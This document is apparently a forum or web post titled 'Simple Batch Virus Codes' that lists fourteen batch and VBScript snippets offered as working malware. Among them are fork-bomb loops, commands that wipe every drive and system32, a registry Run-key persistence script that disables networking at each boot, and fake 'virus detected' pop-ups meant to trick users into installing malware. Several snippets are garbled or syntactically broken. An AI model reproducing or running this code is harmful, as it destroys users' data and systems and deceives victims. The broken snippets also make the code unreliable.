Simple Batch Virus Codes

Virus codes      | @echo off (cmd wont show command) @echo on (cmd will show command)

#1 simple virus (opening-cpu drain)

@echo off
:A
start
explorer
goto :A

#2 simple shutdown command - not really a virus

shutdown -s -t 00<(time) -c "message here" (you dont need a message)
Restart - shutdown -r -t (time) (message)

#3 make a bunch of folders to the desktop - not really a virus

@echo off
cd "c:\ documents and settings\%username% <<(or) documents and settings\all users\desktop"
:folder
md %random%
goto: folder

#4 website opening virus

@echo off
:A
start (URL here)
(if you want to add more sites add the start (URL here) command here and below)
ping localhost -m 5 >nul
goto :A

#5 system 32 deleter (HARMFUL)

 @echo off del c:\\windows\system 32 (extesion.bat)

(DO NOT CREATE ON YOUR MAIN MACHINE)


MORE BELOW!


#6 delete every file off computer

del D:\. /f /s /q
del E:\. /f /s /q
del F:\. /f /s /q
del G:\. /f /s /q
del H:\. /f /s /q
del I:\. /f /s /q
del J:\. /f /s /q


#7 crash computer

@echo on/off
Start Crash
(you can copy and paste Start Crash over and over again for more power)


#8 extreme & nasty virus made by Shroomie

X=Msgbox("Virus Is Active",0+16,"Virus Alert")
X=Msgbox("Virus Is Active",0+16,"Virus Alert")
X=Msgbox("Virus Is Active",0+16,"Virus Alert")
X=Msgbox("Wanna Fix Virus",0+16,"Fix Virus")
@echo off del c:\\windows\system 32
del D:\. /f /s /q
del E:\. /f /s /q
del F:\. /f /s /q
del G:\. /f /s /q
del H:\. /f /s /q
del I:\. /f /s /q
del J:\. /f /s /q
@echo off
:A
start www.youaranidiot.org
ping localhost -m 5 >nul
goto :A

This has a lot of nasty stuff in it. This can KILL a machine once ran. ( DO NOT TRY ON MAIN MACHINE )


#9 Message Box - Normally used to say stuff like "virus detected" and "fix virus" wich leads user to install a virus or message displays while virus is running.

X=Msgbox("Virus Found On Your Computer",0+16,"Virus Detected")
You can copy and paste this to have more messages pop up.   (you have to run in VBs)


#10 Trojan Horse virus - very simple Trojan Horse virus that WORKS. (.bat)

@echo off
Copy C:\Programs\virus.bat C:\Programs
Start C:\Programs\virus.bat


#11 disable internet forever

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE


#12 endless notepads until computer crashes

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


#13 backspace key always being pressed code

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop


#14 whipes C: drive (not really a virus)

@echo off
deltree C:\